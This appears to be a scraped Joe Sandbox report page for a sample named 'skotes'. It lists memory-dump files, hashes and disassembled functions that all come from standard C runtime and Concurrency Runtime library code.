Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: fd0b17b5c2b1e1bfe0795e7fc85142e61417a5890781e3484c5fa0861b1335ec
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 83513E75A00219ABDB08DF64C595BEDB3A8FF08308F15516AE955BB381DB30AE46CB90

Function 00EE52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00EE53A0
type_info::operator==.LIBVCRUNTIME ref: 00EE53C7
___TypeMatch.LIBVCRUNTIME ref: 00EE54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00EE55AE
CallUnexpected.LIBVCRUNTIME ref: 00EE5650

Strings

csm, xrefs: 00EE53FE
csm, xrefs: 00EE534D
csm, xrefs: 00EE52E0

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 65f09d75cff8a83a520dfbbe83d5f6cb17ec900f70a0997bf6e65aa168ca3309
Instruction ID: e59e593fcc9db9374a388e8ddd3f7c928e3d2d1c1cf6620ef6d931eb193fe9b4
Opcode Fuzzy Hash: 65f09d75cff8a83a520dfbbe83d5f6cb17ec900f70a0997bf6e65aa168ca3309
Instruction Fuzzy Hash: E2C1BB72900A8DDFCF25DFA6C8809AEBBB5BF14318F10651AF8117B246D770DA51CBA1

Function 00EE4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00EE4877
___except_validate_context_record.LIBVCRUNTIME ref: 00EE487F
_ValidateLocalCookies.LIBCMT ref: 00EE4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00EE4933
_ValidateLocalCookies.LIBCMT ref: 00EE4988

Strings

S9, xrefs: 00EE4925, 00EE492E, 00EE493F
csm, xrefs: 00EE491D

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9$csm
API String ID: 1170836740-3377438381
Opcode ID: 1bb1411ad629c1da197a58669110a300178b203d93a5d8ac2a3ce78a3df2dddb
Instruction ID: 1812154c97c52d2cd291c6854e7114281395c3a40f9721203d30e42b0aae212c
Opcode Fuzzy Hash: 1bb1411ad629c1da197a58669110a300178b203d93a5d8ac2a3ce78a3df2dddb
Instruction Fuzzy Hash: 0241E470A0028DABCF14DF6AD884A9EBBF5BF45318F149155F8147B392C732DA11CB91

Function 00ED7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00ED73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00ED73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00ED740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00ED7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ED7440

Strings

ppVirtualProcessorRoots, xrefs: 00ED7438
count, xrefs: 00ED737E

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: cd38603377858ede416746dca434e53122dc311fd272e57f9cc4f1e09447b23e
Instruction ID: f8a08e4e09cc7b59bd0d66b73506d93343dc2951a97c0fa89bcb4105ab53fe95
Opcode Fuzzy Hash: cd38603377858ede416746dca434e53122dc311fd272e57f9cc4f1e09447b23e
Instruction Fuzzy Hash: 4F215134A00209AFCB10EF69C995AADBBB5FF05354F54506AE855B7391DB30AE02DF90

Function 00ED78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00ED7903

Part of subcall function 00ED5CB8: __EH_prolog3_catch.LIBCMT ref: 00ED5CBF
Part of subcall function 00ED5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00ED5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00ED792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00ED7936

Part of subcall function 00ED5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00ED5D70
Part of subcall function 00ED5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00ED5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00ED7982
Concurrency::location::_Assign.LIBCMT ref: 00ED79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00ED79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00ED79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00ED79ED

Part of subcall function 00ED691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00ED6942
Part of subcall function 00ED691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00ED6965

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
